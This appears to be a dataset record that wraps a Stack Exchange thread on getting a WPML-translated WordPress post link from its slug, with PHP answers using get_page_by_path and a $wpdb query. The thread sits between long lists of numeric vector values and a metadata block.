0.04888916015625,
-0.0083770751953125,
0.004058837890625,
0.045806884765625,
0.0208587646484375,
-0.00963592529296875,
0.0255126953125,
0.047119140625,
0.0203857421875,
0.002651214599609375,
-0.0026569366455078125,
0.00769805908203125,
-0.0018100738525390625,
0.0164031982421875,
-0.0261383056640625,
-0.005859375,
0.0026416778564453125,
-0.004253387451171875,
0.03533935546875,
0.00373077392578125,
-0.025238037109375,
0.00046825408935546875,
-0.01806640625,
-0.0245819091796875,
0.01482391357421875,
0.03668212890625,
-0.01482391357421875,
-0.0199432373046875,
-0.01285552978515625,
-0.0279998779296875,
-0.023712158203125,
-0.01529693603515625,
0.015899658203125,
0.045623779296875,
0.024322509765625,
0.0032138824462890625,
-0.00775909423828125,
-0.0361328125,
0.1044921875,
-0.0384521484375,
-0.05908203125,
0.10601806640625,
0.00989532470703125,
0.04779052734375,
-0.036376953125,
-0.00830078125,
0.05145263671875,
0.08941650390625,
-0.056854248046875,
0.01461029052734375,
-0.003978729248046875,
-0.027557373046875,
0.01177978515625,
-0.02264404296875,
-0.0032329559326171875,
0.0293121337890625,
0.04827880859375,
0.01837158203125,
-0.0014219284057617188,
-0.0019140243530273438,
-0.03265380859375,
0.0060577392578125,
-0.00858306884765625,
0.0191497802734375,
-0.046539306640625,
0.041534423828125,
0.0333251953125,
0.011016845703125,
-0.041412353515625,
0.01079559326171875,
0.044158935546875,
-0.037078857421875,
-0.026641845703125,
0.06719970703125,
0.01119232177734375,
0.02593994140625,
0.0300140380859375,
-0.041229248046875,
0.039093017578125,
-0.006824493408203125,
0.037445068359375,
0.001617431640625,
0.00640869140625,
-0.00978851318359375,
0.06390380859375,
0.00461578369140625,
0.007091522216796875,
-0.0020046234130859375,
0.027679443359375,
0.0156097412109375,
-0.027801513671875,
0.0455322265625,
0.007534027099609375,
-0.044769287109375,
-0.0246429443359375,
0.04437255859375,
0.027069091796875,
0.0384521484375,
-0.02398681640625,
0.0002551078796386719,
0.05517578125,
-0.046905517578125,
-0.0254669189453125,
0.026519775390625,
0.01953125,
0.0439453125,
-0.0235595703125,
-0.01248931884765625,
0.0162811279296875,
-0.033721923828125,
0.0048065185546875,
0.0280609130859375,
-0.038421630859375,
-0.008941650390625,
0.0113983154296875,
-0.01181793212890625,
-0.00737762451171875,
-0.00848388671875,
0.0205230712890625,
-0.0286712646484375,
-0.0235748291015625,
0.01168060302734375,
-0.0204315185546875,
-0.0126495361328125,
-0.041656494140625,
0.004070281982421875,
0.047454833984375,
-0.0167083740234375,
-0.02679443359375,
-0.00017845630645751953,
0.058013916015625,
-0.09161376953125,
-0.0390625,
0.0163421630859375,
0.0013971328735351562,
-0.027862548828125,
0.004909515380859375,
0.01433563232421875,
0.01123046875,
-0.00460052490234375,
-0.01275634765625,
-0.039215087890625,
0.034027099609375,
0.0537109375,
0.01428985595703125,
0.020751953125,
0.0294647216796875,
0.01247406005859375,
-0.0233154296875,
0.031097412109375,
-0.0406494140625,
-0.0182342529296875,
-0.009857177734375,
-0.0291900634765625,
0.04010009765625,
-0.036834716796875,
0.0557861328125,
0.0577392578125,
-0.03955078125,
0.041778564453125,
0.00971221923828125,
-0.002277374267578125,
0.0215911865234375,
-0.019500732421875,
-0.036224365234375,
0.03485107421875,
-0.1177978515625,
-0.0301055908203125,
0.0243682861328125,
0.007747650146484375,
0.021240234375,
-0.023834228515625,
0.026123046875,
0.0128631591796875,
-0.059600830078125,
-0.0782470703125,
-0.02667236328125,
-0.04534912109375,
0.0089111328125,
0.0103607177734375,
-0.0012912750244140625,
-0.004390716552734375,
0.030181884765625,
0.0143890380859375,
0.00695037841796875,
-0.0147247314453125,
-0.020263671875,
-0.0029354095458984375,
-0.0284423828125,
0.0251922607421875,
-0.0023670196533203125,
-0.004383087158203125,
0.0104827880859375,
0.01314544677734375,
-0.000415802001953125,
-0.0178375244140625,
0.025634765625,
0.044647216796875,
-0.0025043487548828125,
-0.0139617919921875,
-0.044921875,
-0.0496826171875,
0.01332855224609375,
-0.005626678466796875,
0.006809234619140625,
-0.0235443115234375,
0.06292724609375,
0.0087127685546875,
0.0284271240234375,
0.02496337890625,
0.0265045166015625,
-0.01200103759765625,
-0.0323486328125,
0.003856658935546875,
-0.026275634765625,
-0.05792236328125,
-0.064453125,
-0.0211334228515625,
-0.07891845703125,
0.016021728515625,
0.052978515625,
0.0205841064453125,
-0.0102691650390625,
0.0023956298828125,
0.07196044921875,
0.02288818359375,
0.004608154296875,
-0.026763916015625,
0.03533935546875,
0.0322265625,
0.0692138671875,
-0.03955078125,
0.06597900390625,
-0.017303466796875,
0.0042877197265625,
0.035858154296875,
0.005756378173828125,
0.0128173828125,
-0.03369140625,
-0.04071044921875,
-0.044403076171875,
0.0226287841796875,
-0.046142578125,
-0.001758575439453125,
-0.019500732421875,
-0.01313018798828125,
0.00746917724609375,
0.08709716796875,
-0.01401519775390625,
-0.0205841064453125,
-0.01374053955078125,
0.00751495361328125,
-0.0028514862060546875,
-0.04840087890625,
-0.004871368408203125,
-0.023590087890625,
-0.084716796875,
0.004680633544921875,
-0.0261993408203125,
-0.0123291015625,
0.01247406005859375,
-0.0640869140625,
-0.020111083984375,
-0.06982421875,
0.01062774658203125,
0.0112457275390625,
-0.0025730133056640625,
0.0307159423828125,
-0.0227203369140625,
0.032745361328125,
0.006946563720703125,
-0.03546142578125,
-0.04193115234375,
-0.02099609375,
0.06201171875,
0.02679443359375,
-0.031646728515625,
0.019012451171875,
-0.035980224609375,
0.04266357421875,
0.024139404296875,
0.022308349609375,
0.0186920166015625,
-0.021026611328125,
0.053192138671875,
0.0099945068359375,
0.0135650634765625,
-0.004131317138671875,
0.022796630859375,
0.0021209716796875,
-0.0178070068359375,
-0.0004589557647705078,
-0.0310516357421875,
-0.0180816650390625,
0.02703857421875,
-0.046234130859375,
-0.09564208984375,
-0.05975341796875,
-0.00015997886657714844,
0.0036678314208984375,
-0.02618408203125,
0.026031494140625,
-0.0419921875,
-0.055145263671875,
0.0285186767578125,
-0.0279083251953125,
-0.032257080078125,
-0.003021240234375,
0.0194854736328125,
0.021484375,
-0.00321197509765625,
0.05133056640625,
0.0206756591796875,
0.01348114013671875,
0.01525115966796875,
0.011444091796875,
-0.059814453125,
-0.01296234130859375,
0.06103515625,
-0.037841796875,
-0.00670623779296875,
0.033355712890625,
0.0256195068359375,
-0.022369384765625,
-0.050689697265625,
0.03643798828125,
-0.050262451171875,
-0.0156402587890625,
0.0426025390625,
0.0176849365234375,
-0.0150604248046875,
0.00975799560546875,
0.016448974609375,
-0.008758544921875,
-0.01229095458984375,
-0.01335906982421875,
0.00801849365234375,
-0.0091094970703125,
0.0259246826171875,
0.0264434814453125,
0.04046630859375,
-0.008819580078125,
0.0111083984375,
0.0253753662109375,
-0.0118865966796875,
-0.020660400390625,
-0.03448486328125,
-0.0230712890625,
0.0020160675048828125,
-0.008697509765625,
-0.037017822265625,
-0.000012755393981933594,
-0.00360870361328125,
-0.00191497802734375,
-0.0148773193359375,
-0.0291290283203125,
-0.0192108154296875,
-0.00751495361328125,
-0.039886474609375,
0.01541900634765625,
-0.0035533905029296875,
0.042755126953125,
0.00505828857421875,
-0.0214385986328125,
-0.00846099853515625,
-0.047698974609375,
0.0027790069580078125,
-0.058441162109375,
0.0350341796875,
-0.00125885009765625,
0.0164642333984375,
0.030609130859375,
0.068359375,
0.0204315185546875,
0.047576904296875,
-0.0163421630859375,
-0.031158447265625,
-0.034637451171875,
0.026763916015625,
0.016204833984375,
-0.002887725830078125,
0.002353668212890625,
0.00341796875,
0.055816650390625,
-0.030670166015625,
-0.01544952392578125,
0.006626129150390625,
0.016632080078125,
-0.0277099609375,
-0.0200653076171875,
0.042236328125,
0.0041961669921875,
-0.017120361328125,
0.01297760009765625,
0.003993988037109375,
-0.00890350341796875,
-0.039154052734375,
-0.06341552734375,
0.00033664703369140625,
0.00977325439453125,
-0.0225677490234375,
-0.0166168212890625,
-0.061492919921875,
-0.0369873046875,
0.037445068359375,
-0.034912109375,
-0.01220703125,
0.00041484832763671875,
-0.027923583984375,
-0.0386962890625,
0.01904296875,
-0.0751953125,
0.035186767578125,
-0.036163330078125,
-0.005977630615234375,
0.022674560546875,
-0.025238037109375,
0.050811767578125,
-0.005565643310546875,
-0.03619384765625,
0.002857208251953125,
0.01219940185546875,
0.059722900390625,
0.04058837890625,
-0.0418701171875,
-0.0164031982421875,
-0.045745849609375,
-0.0204925537109375,
0.01026153564453125,
0.00402069091796875,
-0.018310546875,
-0.0191650390625,
0.0260772705078125,
0.017181396484375,
0.0079803466796875,
-0.055145263671875,
-0.0241851806640625,
-0.005672454833984375,
0.024749755859375,
0.00988006591796875,
-0.0183868408203125,
0.019287109375,
-0.011260986328125,
0.021392822265625,
-0.0157470703125,
0.0060882568359375,
0.019775390625,
-0.0179901123046875,
0.01171112060546875,
-0.03656005859375,
-0.04925537109375,
0.008056640625,
-0.07861328125,
0.043975830078125,
0.0814208984375,
-0.011138916015625,
-0.02374267578125,
0.006412506103515625,
0.01213836669921875,
-0.027679443359375,
0.024444580078125,
-0.007175445556640625,
-0.00710296630859375,
0.00978851318359375,
0.0076446533203125,
0.0156402587890625,
0.0012941360473632812,
-0.0333251953125,
0.021636962890625,
0.016754150390625,
0.026763916015625,
-0.01995849609375,
-0.036712646484375,
0.03466796875,
0.0236663818359375,
-0.0198822021484375,
0.00792694091796875,
-0.00739288330078125,
-0.0224609375,
0.00782012939453125,
0.049835205078125,
-0.02557373046875,
-0.018890380859375,
0.025146484375,
-0.002964019775390625,
-0.0192718505859375,
0.00276947021484375,
-0.02117919921875,
-0.0013132095336914062,
0.08135986328125,
0.052886962890625,
-0.1314697265625,
-0.00617218017578125,
0.0151824951171875,
0.0132293701171875,
-0.0032501220703125,
0.007740020751953125,
-0.007526397705078125,
-0.042083740234375,
0.0161590576171875,
-0.02252197265625,
-0.01058197021484375,
-0.0056304931640625,
-0.00870513916015625,
0.0011816024780273438,
0.035797119140625,
0.03607177734375,
0.00238800048828125,
-0.08154296875,
-0.027191162109375,
0.043182373046875,
-0.03411865234375,
-0.031524658203125,
-0.020843505859375,
0.03192138671875,
-0.03045654296875,
-0.0762939453125,
0.0247039794921875,
-0.027008056640625,
0.03076171875,
0.05096435546875,
-0.00888824462890625,
0.0196990966796875,
0.0755615234375,
-0.02972412109375,
0.052764892578125,
0.0267486572265625,
-0.0245513916015625,
-0.01320648193359375,
-0.02911376953125,
0.0056915283203125,
-0.0022754669189453125,
-0.07373046875,
0.01898193359375,
-0.037078857421875,
0.000644683837890625,
-0.0020465850830078125,
0.0207672119140625,
0.0179290771484375,
0.005855560302734375,
-0.0305633544921875,
0.034393310546875,
0.00940704345703125,
-0.0034637451171875,
-0.0269317626953125,
0.0297698974609375,
-0.002086639404296875,
0.0301055908203125,
-0.0237579345703125,
0.005329132080078125,
-0.0100250244140625,
-0.035125732421875,
-0.0472412109375,
0.03204345703125,
-0.03741455078125,
0.0166168212890625,
0.02691650390625,
-0.0005383491516113281,
0.0038928985595703125,
-0.0156402587890625,
-0.0003077983856201172,
0.0196533203125,
0.0008716583251953125,
0.055023193359375,
0.01520538330078125,
-0.01093292236328125,
0.0333251953125,
0.038818359375,
0.0214996337890625,
-0.0008993148803710938,
-0.014984130859375,
0.0298004150390625,
0.08868408203125,
0.01477813720703125,
-0.0119476318359375,
0.029510498046875,
-0.0001538991928100586,
-0.00516510009765625,
0.060272216796875,
-0.050262451171875,
0.010894775390625,
-0.0120697021484375,
0.02587890625,
0.0006899833679199219,
0.002605438232421875,
-0.0004935264587402344,
-0.0142669677734375,
0.055084228515625,
0.0032062530517578125,
-0.023345947265625,
0.00238800048828125,
-0.00827789306640625,
-0.0166168212890625,
0.004119873046875,
0.004627227783203125,
-0.06634521484375,
0.0215911865234375,
-0.03564453125,
0.0352783203125,
0.022369384765625,
0.037200927734375,
0.0117645263671875,
0.010528564453125,
0.09271240234375,
-0.01175689697265625,
0.0285797119140625,
0.03216552734375,
-0.04229736328125,
0.007965087890625,
-0.0132598876953125,
0.01282501220703125,
-0.02001953125,
0.01111602783203125,
-0.0079345703125,
-0.006114959716796875,
-0.013641357421875,
-0.0214080810546875,
0.01451873779296875,
-0.0030651092529296875,
0.0088043212890625,
-0.0290679931640625,
-0.026824951171875,
-0.0287933349609375,
0.004589080810546875,
-0.0138092041015625,
0.00725555419921875,
0.03167724609375,
0.00855255126953125,
-0.0030879974365234375,
0.007762908935546875,
-0.0345458984375,
0.01499176025390625,
-0.00623321533203125,
0.0019207000732421875,
0.0015954971313476562,
0.047149658203125,
-0.00864410400390625,
0.029754638671875,
-0.0552978515625,
-0.0260009765625,
-0.03582763671875,
0.025634765625,
-0.019012451171875,
0.051971435546875,
-0.08740234375,
-0.0404052734375,
0.0236053466796875,
0.07257080078125,
0.0018930435180664062,
0.0301971435546875,
0.0226593017578125,
0.0477294921875,
0.03375244140625,
0.0000033974647521972656,
0.0537109375,
-0.0105438232421875,
0.0266876220703125,
-0.0211181640625,
0.056182861328125,
0.02288818359375,
0.0146331787109375,
-0.044525146484375,
0.0257110595703125,
0.05120849609375,
-0.00695037841796875,
-0.01233673095703125,
0.00433349609375,
-0.06805419921875,
0.03509521484375,
0.004322052001953125,
0.1112060546875,
0.021026611328125,
-0.049774169921875,
-0.0204620361328125,
0.016754150390625,
-0.043365478515625,
0.007251739501953125,
0.04022216796875,
-0.03857421875,
0.026458740234375,
-0.019134521484375,
0.0138702392578125,
-0.0016756057739257812,
-0.0426025390625,
0.01055908203125,
-0.03668212890625,
-0.0067596435546875,
-0.00994110107421875,
-0.03466796875,
0.0043182373046875,
0.0164642333984375,
-0.0252838134765625,
-0.0182647705078125,
0.0770263671875,
0.005645751953125,
-0.0158233642578125,
0.009490966796875,
-0.01441192626953125,
0.0148468017578125,
-0.025787353515625,
0.05078125,
-0.0418701171875,
-0.0242767333984375,
0.013427734375,
-0.036956787109375,
-0.0088958740234375,
0.05322265625,
-0.0279693603515625,
0.0217132568359375,
-0.0140533447265625,
0.02490234375,
-0.04022216796875,
0.00514984130859375,
-0.04083251953125,
-0.03826904296875,
-0.0226593017578125,
0.00858306884765625,
-0.0088348388671875,
-0.0267333984375,
-0.01264190673828125,
0.0159149169921875,
-0.004100799560546875,
-0.0443115234375,
0.025421142578125,
-0.049346923828125,
0.0518798828125,
0.034637451171875,
0.01276397705078125,
0.034576416015625,
-0.01471710205078125,
-0.01023101806640625,
-0.00543212890625,
0.0116424560546875,
-0.06890869140625,
0.01496124267578125,
-0.0386962890625,
-0.026397705078125,
-0.021636962890625,
-0.00891876220703125,
-0.00033354759216308594,
-0.0137481689453125,
-0.0011005401611328125,
-0.0311126708984375,
-0.05670166015625,
0.01049041748046875,
-0.00485992431640625,
0.008392333984375,
-0.022003173828125,
-0.01371002197265625,
0.0226287841796875,
-0.038116455078125,
0.0304107666015625,
0.0081939697265625,
0.032440185546875,
0.0102386474609375,
-0.06378173828125,
0.01776123046875,
-0.0087890625,
0.041290283203125,
-0.008087158203125,
-0.0231781005859375,
0.005496978759765625,
-0.0003600120544433594,
-0.0265350341796875,
-0.0050811767578125,
-0.04510498046875,
-0.01296234130859375,
-0.041656494140625,
-0.0220947265625,
0.0261383056640625,
0.01146697998046875,
-0.0012636184692382812,
-0.0655517578125,
-0.037384033203125,
-0.0003230571746826172,
-0.060272216796875,
-0.0305023193359375,
0.009796142578125,
-0.0092620849609375,
0.0196990966796875,
-0.00666046142578125,
-0.00977325439453125,
0.002490997314453125,
-0.01216888427734375,
0.0306243896484375,
-0.0345458984375,
0.003482818603515625,
-0.029205322265625,
-0.03424072265625,
0.03057861328125,
0.021820068359375,
-0.02642822265625,
0.00937652587890625,
-0.0119171142578125,
-0.0229644775390625,
0.02337646484375,
-0.0016384124755859375,
-0.01515960693359375,
-0.008209228515625,
0.02166748046875,
0.01087188720703125,
0.004547119140625,
0.0238800048828125,
-0.0023403167724609375,
0.00894927978515625,
0.035675048828125,
0.0297698974609375,
-0.0052032470703125,
-0.0128326416015625,
-0.0167388916015625,
0.0261077880859375,
0.0266265869140625,
-0.0182342529296875,
0.0004887580871582031,
0.0294952392578125,
0.0158538818359375,
0.0064697265625,
0.038848876953125,
-0.00983428955078125,
-0.026580810546875,
-0.00811767578125,
0.022491455078125,
0.0028858184814453125,
0.03106689453125,
-0.04498291015625,
-0.01275634765625,
0.0147705078125,
0.016021728515625,
0.007415771484375,
-0.0516357421875,
0.017791748046875,
0.00955963134765625,
-0.007843017578125,
0.0281829833984375,
0.0242919921875,
-0.032470703125,
-0.0030155181884765625,
0.00679779052734375,
-0.006954193115234375,
-0.07562255859375,
0.036651611328125,
-0.005191802978515625,
-0.021575927734375,
-0.0338134765625,
-0.007579803466796875,
-0.00835418701171875,
-0.042755126953125,
-0.047607421875,
0.023529052734375,
0.038726806640625,
-0.0294189453125,
-0.0218658447265625,
0.037750244140625,
-0.0153350830078125,
-0.0037841796875,
0.0003821849822998047,
-0.0254364013671875,
0.031524658203125,
0.0009441375732421875,
0.030181884765625,
-0.005809783935546875,
-0.0052337646484375,
0.00691986083984375,
0.07061767578125,
0.0018482208251953125,
0.046173095703125,
-0.016632080078125,
0.052886962890625,
-0.0121612548828125,
-0.006137847900390625,
0.004413604736328125,
-0.0213470458984375,
0.01357269287109375,
0.012969970703125,
0.03497314453125,
-0.01403045654296875,
0.0265350341796875,
-0.0236053466796875,
0.0019378662109375,
0.01151275634765625
] |
0b3517ae722d051aa18ac1c90410321dfccdedb7
|
Wordpress Stackexchange
Q: WPML Get url without outputting I am in the process of migrating from qTranslate to WPML to handle my languages.
With qTranslate, I had a very simple way to get an url to a page or post knowing it's slug: $url = get_language_url(home_url($slug));
Now with WPML I can't find a way to do that...
There's the icl_link_to_element function but it directly outputs the link in a a tag.. Besides, you need to know the post ID.
Any way I can get a link to a post in the correct language, knowing it's slug?
A: Actually Wordpress lacks a real function to get posts by slug/post-name. But you can use get_page_by_path() for it so you don't have to use a custom query:
if(function_exists('icl_object_id')) {
$post = get_page_by_path('your-slug');
$id = icl_object_id($post->ID,'post',true);
$link = get_permalink($id);
}
The only difference here is that you must use the full path i.e. ('parent-page/sub-page') if you have a hierarchical structure. For posts and non-hierarchical pages you can just use the slug as param.
|
Q: WPML Get url without outputting I am in the process of migrating from qTranslate to WPML to handle my languages.
With qTranslate, I had a very simple way to get an url to a page or post knowing it's slug: $url = get_language_url(home_url($slug));
Now with WPML I can't find a way to do that...
There's the icl_link_to_element function but it directly outputs the link in a a tag.. Besides, you need to know the post ID.
Any way I can get a link to a post in the correct language, knowing it's slug?
A: Actually Wordpress lacks a real function to get posts by slug/post-name. But you can use get_page_by_path() for it so you don't have to use a custom query:
if(function_exists('icl_object_id')) {
$post = get_page_by_path('your-slug');
$id = icl_object_id($post->ID,'post',true);
$link = get_permalink($id);
}
The only difference here is that you must use the full path i.e. ('parent-page/sub-page') if you have a hierarchical structure. For posts and non-hierarchical pages you can just use the slug as param.
A: You can get link to a post by it's slug using following code.
<?php
global $wpdb;
$id = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_name = 'name-of-slug'");
if(function_exists('icl_object_id')){
get_permalink(icl_object_id($id,'post',true));
}
?>
|
wordpress
|
{
"language": "en",
"length": 198,
"provenance": "stackexchange_00019.jsonl.gz:436654",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112807"
}
|
[
0.0382080078125,
0.006351470947265625,
0.01538848876953125,
-0.0301666259765625,
0.011993408203125,
-0.0081939697265625,
0.017791748046875,
-0.02227783203125,
-0.0076141357421875,
0.008270263671875,
0.008148193359375,
-0.022918701171875,
-0.017333984375,
-0.0439453125,
0.0034618377685546875,
-0.022308349609375,
0.02789306640625,
-0.006130218505859375,
0.0338134765625,
0.00457000732421875,
-0.0009641647338867188,
0.005126953125,
0.0396728515625,
-0.001003265380859375,
0.04547119140625,
-0.028350830078125,
0.03009033203125,
-0.0265655517578125,
0.01041412353515625,
-0.0245361328125,
0.031341552734375,
0.0087127685546875,
0.007137298583984375,
-0.03509521484375,
0.045074462890625,
-0.05108642578125,
0.0007195472717285156,
-0.01258087158203125,
-0.00859832763671875,
0.00174713134765625,
0.00012600421905517578,
0.004306793212890625,
-0.0438232421875,
0.043487548828125,
-0.04644775390625,
-0.0404052734375,
-0.0128936767578125,
-0.0252532958984375,
-0.00019931793212890625,
0.041259765625,
0.0171966552734375,
0.0264434814453125,
0.007061004638671875,
0.01332855224609375,
0.00045943260192871094,
-0.0138092041015625,
0.0156707763671875,
-0.00453948974609375,
0.0082244873046875,
-0.035797119140625,
-0.0357666015625,
0.014739990234375,
0.02923583984375,
0.013458251953125,
-0.0201568603515625,
0.0171356201171875,
0.0025081634521484375,
0.0187225341796875,
-0.01216888427734375,
-0.035308837890625,
-0.0007834434509277344,
-0.01373291015625,
-0.01070404052734375,
-0.0187225341796875,
-0.0106964111328125,
-0.0092315673828125,
-0.003520965576171875,
-0.031707763671875,
0.0180816650390625,
0.0200042724609375,
-0.00855255126953125,
-0.01335906982421875,
-0.0498046875,
-0.005859375,
0.00691986083984375,
0.018585205078125,
-0.0165252685546875,
-0.031890869140625,
-0.041778564453125,
-0.0360107421875,
-0.0255584716796875,
-0.017913818359375,
-0.058349609375,
-0.00553131103515625,
-0.006114959716796875,
-0.029510498046875,
0.032867431640625,
0.027801513671875,
-0.017913818359375,
0.0116729736328125,
-0.00615692138671875,
-0.03863525390625,
0.047027587890625,
-0.0224456787109375,
0.02545166015625,
0.0211181640625,
0.015289306640625,
0.039520263671875,
0.047607421875,
-0.0020084381103515625,
0.005985260009765625,
0.041351318359375,
-0.02178955078125,
-0.0236968994140625,
-0.01202392578125,
0.046661376953125,
-0.034423828125,
-0.02197265625,
-0.005352020263671875,
0.0200042724609375,
-0.01812744140625,
0.0246734619140625,
-0.00034236907958984375,
-0.01849365234375,
0.0167388916015625,
0.0094146728515625,
0.0099029541015625,
-0.04046630859375,
0.0198974609375,
0.01049041748046875,
-0.0251312255859375,
0.0153656005859375,
0.05419921875,
-0.0005159378051757812,
-0.01268768310546875,
-0.0213470458984375,
-0.01318359375,
-0.0156707763671875,
0.003704071044921875,
0.01910400390625,
0.0093231201171875,
-0.016845703125,
0.0230712890625,
0.0217742919921875,
0.00027561187744140625,
0.01023101806640625,
0.001399993896484375,
0.0089263916015625,
0.0163116455078125,
-0.034576416015625,
-0.01263427734375,
-0.0173187255859375,
0.0318603515625,
0.007122039794921875,
-0.047882080078125,
-0.042022705078125,
-0.0160064697265625,
-0.0213470458984375,
0.038818359375,
-0.045013427734375,
-0.01395416259765625,
-0.006908416748046875,
0.0289306640625,
-0.035491943359375,
-0.0322265625,
-0.00206756591796875,
-0.04095458984375,
0.0014801025390625,
0.0223846435546875,
0.0009012222290039062,
0.03021240234375,
-0.005157470703125,
-0.0304107666015625,
-0.00016391277313232422,
0.020904541015625,
-0.0006222724914550781,
-0.0221405029296875,
0.01898193359375,
0.017181396484375,
0.047027587890625,
0.041229248046875,
-0.01134490966796875,
0.0305938720703125,
0.0244903564453125,
-0.0655517578125,
0.040191650390625,
-0.002803802490234375,
0.05987548828125,
0.043426513671875,
0.0107421875,
0.005126953125,
-0.0193939208984375,
-0.07330322265625,
0.042816162109375,
-0.040924072265625,
-0.004261016845703125,
0.0164337158203125,
0.038330078125,
-0.0240020751953125,
-0.0246734619140625,
-0.03485107421875,
0.01849365234375,
0.005100250244140625,
0.05548095703125,
-0.008026123046875,
0.045440673828125,
-0.0217742919921875,
0.034912109375,
0.0239715576171875,
0.0325927734375,
0.0190887451171875,
0.049468994140625,
-0.053863525390625,
-0.04254150390625,
-0.03070068359375,
0.024139404296875,
0.002880096435546875,
-0.0201568603515625,
-0.020599365234375,
0.00531005859375,
-0.0181427001953125,
-0.0091094970703125,
-0.05084228515625,
0.025787353515625,
0.0072021484375,
-0.005443572998046875,
-0.002246856689453125,
-0.00569915771484375,
0.0195465087890625,
0.023345947265625,
-0.00998687744140625,
0.0081329345703125,
0.02471923828125,
-0.0118560791015625,
-0.03961181640625,
0.0125732421875,
0.02154541015625,
-0.0217742919921875,
-0.0014295578002929688,
0.0379638671875,
0.02880859375,
-0.005199432373046875,
-0.02459716796875,
-0.0364990234375,
0.0225982666015625,
-0.06884765625,
-0.015228271484375,
-0.01666259765625,
-0.02490234375,
0.030364990234375,
0.036590576171875,
0.050811767578125,
-0.0115966796875,
-0.024261474609375,
-0.009246826171875,
0.038604736328125,
0.0094757080078125,
-0.010955810546875,
-0.009918212890625,
0.0149993896484375,
0.0003597736358642578,
0.00583648681640625,
-0.038909912109375,
0.01461029052734375,
-0.029052734375,
0.02960205078125,
0.0251617431640625,
0.032379150390625,
0.005146026611328125,
-0.0137176513671875,
0.00029087066650390625,
0.0218353271484375,
-0.004840850830078125,
0.0241851806640625,
0.03717041015625,
-0.040863037109375,
0.01062774658203125,
-0.00879669189453125,
-0.004520416259765625,
-0.001354217529296875,
-0.0025196075439453125,
0.050384521484375,
0.047119140625,
-0.01546478271484375,
-0.03717041015625,
-0.0721435546875,
0.014495849609375,
0.0299072265625,
0.02227783203125,
0.03131103515625,
0.060699462890625,
0.006015777587890625,
-0.03411865234375,
0.036773681640625,
-0.020294189453125,
-0.0262451171875,
0.050201416015625,
-0.0115966796875,
0.017120361328125,
-0.005962371826171875,
0.042388916015625,
0.04156494140625,
-0.0216827392578125,
-0.00824737548828125,
0.00374603271484375,
-0.02276611328125,
0.004421234130859375,
-0.004871368408203125,
-0.022705078125,
-0.008544921875,
-0.03662109375,
0.034423828125,
-0.00412750244140625,
-0.0080413818359375,
-0.0036640167236328125,
-0.043426513671875,
-0.015655517578125,
-0.0216827392578125,
-0.1341552734375,
-0.10296630859375,
-0.0007548332214355469,
-0.058746337890625,
0.030731201171875,
0.0305328369140625,
-0.0308074951171875,
-0.0310211181640625,
0.0675048828125,
0.007030487060546875,
0.01514434814453125,
-0.0001271963119506836,
-0.08148193359375,
-0.032623291015625,
-0.07666015625,
-0.0168914794921875,
-0.019378662109375,
0.01288604736328125,
0.0182647705078125,
-0.051788330078125,
-0.0019855499267578125,
-0.030059814453125,
0.0135650634765625,
0.07537841796875,
-0.0217437744140625,
-0.0273895263671875,
-0.038238525390625,
0.026947021484375,
0.01491546630859375,
0.0009336471557617188,
0.021636962890625,
0.01824951171875,
-0.006206512451171875,
0.01136016845703125,
0.007587432861328125,
0.0213623046875,
0.05902099609375,
-0.061431884765625,
-0.03118896484375,
0.061737060546875,
0.022247314453125,
-0.0027675628662109375,
-0.04290771484375,
-0.04083251953125,
-0.0579833984375,
0.0584716796875,
0.0283660888671875,
0.026824951171875,
0.0008654594421386719,
0.02471923828125,
0.0018367767333984375,
0.0185699462890625,
0.015411376953125,
-0.0261993408203125,
0.01861572265625,
-0.0225677490234375,
-0.00888824462890625,
-0.0117340087890625,
0.0521240234375,
0.0026035308837890625,
0.008544921875,
0.029693603515625,
0.0163116455078125,
0.0124969482421875,
-0.029998779296875,
-0.020294189453125,
-0.02203369140625,
0.04986572265625,
-0.0175323486328125,
-0.0008840560913085938,
-0.00769805908203125,
-0.03436279296875,
0.00044846534729003906,
0.046356201171875,
0.0064239501953125,
-0.0181884765625,
-0.016998291015625,
0.00061798095703125,
-0.02593994140625,
-0.057220458984375,
-0.0295867919921875,
0.0067596435546875,
-0.038726806640625,
-0.01128387451171875,
-0.0009899139404296875,
-0.026214599609375,
-0.00424957275390625,
0.060882568359375,
-0.0211181640625,
-0.0143890380859375,
0.041168212890625,
0.0017299652099609375,
-0.02880859375,
0.053192138671875,
-0.033538818359375,
0.0338134765625,
-0.061614990234375,
0.026580810546875,
-0.0799560546875,
-0.0239410400390625,
0.0018434524536132812,
0.04522705078125,
-0.00848388671875,
-0.050201416015625,
-0.024139404296875,
0.05487060546875,
0.0132293701171875,
0.041046142578125,
-0.0027313232421875,
0.002635955810546875,
0.0350341796875,
-0.011566162109375,
-0.012237548828125,
-0.00853729248046875,
0.00926971435546875,
-0.0019483566284179688,
-0.06072998046875,
0.019775390625,
-0.016815185546875,
0.02850341796875,
0.0133209228515625,
-0.0401611328125,
-0.0576171875,
-0.0103302001953125,
-0.02166748046875,
0.02716064453125,
-0.01568603515625,
-0.009521484375,
-0.0367431640625,
-0.0760498046875,
0.0430908203125,
0.0242919921875,
0.005390167236328125,
-0.0214691162109375,
0.03155517578125,
0.00670623779296875,
-0.042449951171875,
-0.01366424560546875,
-0.01210784912109375,
0.0297393798828125,
0.01190185546875,
0.06475830078125,
0.05511474609375,
-0.0088348388671875,
0.03497314453125,
0.03631591796875,
-0.01012420654296875,
0.032073974609375,
0.004974365234375,
0.0224151611328125,
-0.005115509033203125,
0.0010824203491210938,
0.020751953125,
-0.01476287841796875,
0.07763671875,
-0.021759033203125,
-0.01458740234375,
-0.041748046875,
0.04248046875,
-0.0066986083984375,
0.00826263427734375,
-0.060394287109375,
-0.06451416015625,
0.0322265625,
-0.0255279541015625,
-0.0154876708984375,
-0.00537109375,
-0.005584716796875,
0.00595855712890625,
-0.01654052734375,
-0.00016450881958007812,
0.03277587890625,
0.03009033203125,
0.03564453125,
0.059600830078125,
-0.0168304443359375,
-0.005321502685546875,
0.00029659271240234375,
-0.012603759765625,
0.040130615234375,
0.01383209228515625,
-0.00830078125,
0.0215301513671875,
-0.0323486328125,
-0.005168914794921875,
-0.00428009033203125,
-0.0022792816162109375,
0.026885986328125,
0.0300140380859375,
-0.0338134765625,
-0.006740570068359375,
0.00872039794921875,
-0.01090240478515625,
-0.03973388671875,
0.034332275390625,
0.0090484619140625,
0.004314422607421875,
-0.026580810546875,
0.09576416015625,
-0.0001615285873413086,
0.0257415771484375,
-0.01837158203125,
-0.0406494140625,
-0.01043701171875,
